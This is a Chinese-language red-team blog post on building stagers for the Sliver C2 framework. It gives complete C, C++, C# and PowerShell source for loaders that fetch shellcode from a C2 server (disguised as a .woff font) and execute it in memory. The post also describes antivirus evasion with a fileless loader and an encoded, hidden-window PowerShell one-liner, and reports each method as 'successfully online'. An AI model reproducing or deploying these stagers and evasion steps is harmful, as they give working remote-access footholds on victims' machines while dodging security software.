红队工具研究篇 - SliverC2 Stager研究（上）
2023-7-1 13:33:7 Author: 星冥安全(查看原文) 阅读量:52 收藏

本文介绍 Sliver Stager ，由浅入深从原理概念、使用介绍再到三种自定义编写 Stager 的方法，此外还有执行效果演示、通信流量分析和两种免杀尝试的技术分享。

一、背景及概念

Stager 在这里指分阶段执行器，其核心作用在于从C2服务器上下载Sliver Shellcode，再上线Sliver C2。使用到分阶段执行器优势有二，其一为上传的文件较小，相较于Sliver原生Implant有10+MB，Stager一般只有几KB大小，另一个就是通过Stager传输的Sliver Shellcode直接运行在内存中，避免文件落地，静态查杀。
相关内容的官方文档 - Stagers · Sliver Wiki (github.com)

这里给出作者的理解：Stager = Dropper + ShellCode Runner

二、快速上手 - 简易Stager

在 Sliver C2 中，Stager 工作方式是基于一个配置文件（profiles），其中记载了一个 Implant 的所有定义及配置信息，该配置文件通过 profiles new 命令创建。

profiles new --http 172.16.181.182:9002 --skip-symbols --format shellcode --arch amd64 win64_stage
http -l 9002

在有了配置文件之后，就可以创建一个分阶段监听器，可通过 TCP 或 HTTP(S) 协议来传输 Sliver ShellCode 至目标主机上。

# 创建分阶段监听器
stage-listener --url tcp://172.16.181.182:8443 --profile win64_stage
# 创建Stager
generate stager --lhost 172.16.181.182 --lport 8443 --arch amd64 --format c


精心制作了一张通信连接图，便于理解上述过程：

编写简易Stager

之后就是使用c语言编写简易分阶段执行器Stager（shellcode runner），运行上面的shellcode，建立连接，后Sliver分阶段传输Sliver Shellcode至目标机器上运行，成功上线。

#include "windows.h"
int main()
{
    unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
...
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

编译出来

x86_64-w64-mingw32-gcc -o runner.exe 1.c

流量分析

在C2服务器上抓包，首先是stager在TCP 8443 中建立连接，传输Sliver shellcode至目标主机上。

接着一段时间后，捕获到HTTP流量信息，结合之前的通信流量分析文章中的HTTP部分，可以发现目标发送 POST /actions/admin.html?er=33722640&n=9037148x0 数据包建立连接（不懂的可以参考前面的文章），在通过一堆请求 js 文件进行通信交互。

综上，正好印证了Stager在TCP 8443中传输，Sliver Shellcode在HTTP 9002中传输。

三、免杀尝试

上面写的简易 Stager 在存有杀软环境中会被查杀，结合这篇文章，实现网络分离免杀的效果。
下面是测试过程：

有两种工具方法

01 SysWhispers3WinHttp

失败了 ❌

工具地址 - https://github.com/huaigu4ng/SysWhispers3WinHttp
根据 SysWhispers3WinHttp 工具的原理，我构想对 stager 进行分离加载
在创建stager中进行简单调整，生成raw格式。

generate stager --lhost 172.16.181.182 --lport 8443 --arch amd64 --format raw --save beacon.bin

后面编译生成对应的程序后，上线失败。
思考了下，工具介绍中这里的shellcode是分阶段式的shellcode，用于直接上线的，但我这里的shellcode用于连接Sliver中的Stage监听器，目标不同。

按照上面的思路，那么就尝试简化下，直接generate生成一个raw格式的代码尝试直接免杀上线。

generate --http 172.16.181.182:9003 --skip-symbols --format shellcode --arch amd64

02 FilelessPELoader

成功 ✅

工具地址 - https://github.com/TheD1rkMtr/FilelessPELoader
将之前创建的简易 stager 放到该项目目录下，使用脚本进行加密。

上传 FilelessPELoader.exe 至目标主机，通过以下命令网络分离加载 Stager

FilelessPELoader.exe 172.16.181.177 8888 cipher.bin key.bin

四、自定义 Stager

上述编写了简易 Stager 后，我们就可以进一步编写更加完善的 Stager。官方文档中提供了相关资料 - https://github.com/BishopFox/sliver/wiki/Stagers 用于参考学习。基于此文，下面分别介绍C++、C#和Powershell三种分阶段执行器的编写思路及使用效果。

五、C++ Stager

Stager 实际上就是 ShellCode Runner 的升级版，在运行代码功能基础上，添加了下载远程服务器上shellcode的功能。

快速上手 - 完整代码

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment (lib, "Wininet.lib")
struct Shellcode {
    byte* data;
    DWORD len;
};
Shellcode Download(LPCWSTR host, INTERNET_PORT port);
void Execute(Shellcode shellcode);
int main() {
    ::ShowWindow(::GetConsoleWindow(), SW_HIDE); // 隐藏窗口
    Shellcode shellcode = Download(L"172.16.181.182", 80);
    Execute(shellcode);
    return 0;
}
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
    HINTERNET session = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET connection = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
    HINTERNET request = HttpOpenRequest(connection, L"GET", L"/fontawesome.woff", NULL, NULL, NULL, 0, 0);
    WORD counter = 0;
    while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
        counter++;
        Sleep(3000);
        if (counter >= 3) {
            exit(0);
        }
    }
    DWORD bufSize = BUFSIZ;
    byte* buffer = new byte[bufSize];
    DWORD capacity = bufSize;
    byte* payload = (byte*)malloc(capacity);
    DWORD payloadSize = 0;
    while (true) {
        DWORD bytesRead;
        if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
            exit(0);
        }
        if (bytesRead == 0) break;
        if (payloadSize + bytesRead > capacity) {
            capacity *= 2;
            byte* newPayload = (byte*)realloc(payload, capacity);
            payload = newPayload;
        }
        for (DWORD i = 0; i < bytesRead; i++) {
            payload[payloadSize++] = buffer[i];
        }
    }
    byte* newPayload = (byte*)realloc(payload, payloadSize);
    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(session);
    struct Shellcode out;
    out.data = payload;
    out.len = payloadSize;
    return out;
}
void Execute(Shellcode shellcode) {
    void* exec = VirtualAlloc(0, shellcode.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode.data, shellcode.len);
    ((void(*)())exec)();
}

编译为 x64 release 版本，放置在受害主机上执行，成功上线。

通信流量分析

首先是发送带有.woff的 url，请求下载shellcode，接着通过7000+个TCP请求后，成功下载完成，后续建立TLS连接。

代码分析

分为两部分，第一部分是下载器，在C++中，使用 WinInet 库实现 HTTP 请求。

  1. 使用InternetOpen函数打开一个Internet会话，设置了一个用户代理字符串，用于伪装浏览器类型。

  2. 使用InternetConnect函数连接到指定的主机和端口，创建一个Internet连接。

  3. 使用HttpOpenRequest函数创建一个HTTP请求，指定了请求的方法为GET，请求的URL为/fontawesome.woff。

  4. 使用HttpSendRequest函数发送HTTP请求，下载指定URL中的数据。

  5. 如果下载失败，重试3次，每次间隔3秒钟。

  6. 如果下载成功，将下载的数据保存为一个Shellcode结构体，并返回该结构体。

    HINTERNET session = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET connection = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
    HINTERNET request = HttpOpenRequest(connection, L"GET", L"/fontawesome.woff", NULL, NULL, NULL, 0, 0);
    WORD counter = 0;
    while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
        counter++;
        Sleep(3000);
        if (counter >= 3) {
            exit(0);
        }
    }

接下来将数据保存至缓冲区中

  1. 定义一个缓冲区的大小，并创建一个指向缓冲区的byte类型的指针。

  2. 分配一个动态内存，用于存储下载的数据，并初始化变量payloadSize为0。

  3. 使用 InternetReadFile 循环读取下载的数据，每次读取bufSize大小的数据，保存到缓冲区中。如果读取失败，则退出程序。

  4. 将缓冲区中的数据复制到动态分配的内存中，直到读取完所有的数据。如果内存不足，就重新分配更大的内存，并将数据复制到新的内存中。

  5. 最后，将动态分配的内存指针保存到一个byte类型的指针中，并返回该指针。

    DWORD bufSize = BUFSIZ;
    byte* buffer = new byte[bufSize];
    DWORD capacity = bufSize;
    byte* payload = (byte*)malloc(capacity);
    DWORD payloadSize = 0;
    while (true) {
        DWORD bytesRead;
        if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
            exit(0);
        }
        if (bytesRead == 0) break;
        if (payloadSize + bytesRead > capacity) {
            capacity *= 2;
            byte* newPayload = (byte*)realloc(payload, capacity);
            payload = newPayload;
        }
        for (DWORD i = 0; i < bytesRead; i++) {
            payload[payloadSize++] = buffer[i];
        }
    }
    byte* newPayload = (byte*)realloc(payload, payloadSize);

最后就是关闭方法及返回自定义结构体

    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(session);
    struct Shellcode out;
    out.data = payload;
    out.len = payloadSize;
    return out;

六、C# .NET Stager

快速上手 - 完整代码

直接给出完整代码，便于一些有基础的读者，直接分析使用，当然后文会有解析。

using System;
using System.Net;
using System.Runtime.InteropServices;
namespace L13_CS_Stager
{
    class Program
    {
        private static byte[] Download(string url)
        {
            // 不检查证书
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            // 调用DownloadData方法，下载指定内容
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            return shellcode;
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        private static void Execute(byte[] buf)
        {
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
            Marshal.Copy(buf, 0, (IntPtr)(addr), buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        static void Main(string[] args)
        {
            byte[] shellcode = Download("http://172.16.181.182/fontawesome.woff");
            Execute(shellcode);
            return;
        }
    }
}

通信流量分析

和上面类似，首先是发送带有 .woff 的 url，请求下载shellcode，接着通

过7000+个TCP请求后，成功下载完成，后续建立TLS连接，发送带有.html后缀的url，表示Sliver启动会话，建立C2连接。

代码分析

分为两部分，一部分下载，一部分执行，执行这部分实际上就是 ShellCode Runner ，之前的文章也有写过，如下。由于C#不能直接调用Win32 API，因此需要通过 P/Invoke 平台调用API 间接将C++声明转换为C#方法标签，方可使用。
这里使用到四种方法：
VirtualAlloc：分配内存空间，存储shellcode
Marshal.Copy：拷贝shellcode至目标区域
CreateThread：创建进程用于执行shellcode
WaitForSingleObject：延时避免执行完立即关闭

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        private static void Execute(byte[] buf)
        {
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
            Marshal.Copy(buf, 0, (IntPtr)(addr), buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

第二部分为下载器部分，使用ServicePointManager.ServerCertificateValidationCallback属性来设置一个回调函数，用于验证服务器端的证书。并设置始终返回true，表示不对服务器端的证书进行验证。接下来创建一个System.Net.WebClient对象，通过调用 DownloadData 方法，可以下载指定URL的内容，并将其保存为一个byte数组并最后返回。

        private static byte[] Download(string url)
        {
            // 不检查证书
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            // 调用DownloadData方法，下载指定内容
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            return shellcode;
        }

这部分比较简单，我个人认为可以理解为 Dropper 的功能也就是说有如下的对应关系。
Stager = Dropper + ShellCode Runner

最后就是 main 函数，直接对上述两个方法进行调用

 static void Main(string[] args)
        {
            byte[] shellcode = Download("http://172.16.181.182/fontawesome.woff");
            Execute(shellcode);
            return;
        }

七、PowerShell Stager

代码编写

同样，Powershell也不能像C#一样直接调用Win32API，只能曲线救国。使用Add-Type cmdlet，在PowerShell会话中添加一个.NET类。这样就可以在PowerShell中使用P/Invoke。

01 P/Invoke

些许复杂，按逻辑一步步展开，首先找到四个关键方法的 C# 方法标识
pinvoke.net: VirtualAlloc (kernel32)

  [DllImport("kernel32")]  
  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

这里的 RtlMoveMemory 函数可由 .NET Copy 方法代替，该方法允许数据从一个数组中拷贝至一个内存指针中。

pinvoke.net: CreateThread (kernel32)

  [DllImport("kernel32", CharSet = CharSet.Ansi)]  
  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,  
  IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

pinvoke.net: WaitForSingleObject (kernel32)

    [DllImport("kernel32.dll", SetLastError=true)]  
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

02 Add-Type

使用 Add-Type

$shell = @" 
using System;
using System.Runtime.InteropServices;
public class shell{
    [DllImport("kernel32.dll")]  
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]  
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]  
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $shell

03 下载模块

使用 DownloadData 方法进行下载并以 Byte 类型保存至内存中

$url = "http://172.16.181.182/fontawesome.woff"
$client = New-Object System.Net.WebClient # 下载shellcode到内存中 
$shellcode = $client.DownloadData($url) # 将shellcode转换为Byte[]类型 
[Byte[]] $payload = $shellcode

04 调用并执行

逻辑类似，分配内存空间-拷贝shellcode代码-创建线程执行代码

$payload_len = $payload.Length
[IntPtr]$exec_mem = [shell]::VirtualAlloc(0,$payload_len,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload_len)
$tHandle = [shell]::CreateThread(0,0,$exec_mem,0,0,0)
[shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

05 完整代码

$shell = @" 
using System;
using System.Runtime.InteropServices;
public class shell{
    [DllImport("kernel32.dll")] 
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]  
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]  
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $shell
$url = "http://172.16.181.182/fontawesome.woff"
$client = New-Object System.Net.WebClient # 下载shellcode到内存中 
$shellcode = $client.DownloadData($url) # 将shellcode转换为Byte[]类型 
[Byte[]] $payload = $shellcode
$payload_len = $payload.Length
[IntPtr]$exec_mem = [shell]::VirtualAlloc(0,$payload_len,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload_len)
$tHandle = [shell]::CreateThread(0,0,$exec_mem,0,0,0)
[shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

执行效果

运行后，成功上线，其中WireShark中监测到的通信流量和上面两种类似，就不对其深入分析。

实际上，这里使用到的 Add-Type 并非完全在内存中执行，而是会在硬盘中产生文件，这些将在下篇中讨论并给出解决方法（反射加载）

OneLine

为了更加便捷上线，可以直接在 Powershell 中使用一行命令直接执行上述代码。
首先将上述代码进行加密。

cat stager.ps1 | iconv --to-code UTF-16LE | base64 -w 0


接着在目标主机上执行

powershell.exe -nop -w hidden -Enc JABzAGgAZQBsAGwAIAA9ACAAQAAiACAACgB1AH...

效果同上，成功上线。

后续

当然，自定义 Stager 不仅仅只有上述三种方式，但这已经足够去利用和拓展了，之后关于Stager部分将会以进一步免杀和另一类实现思路两种角度进行拓展。

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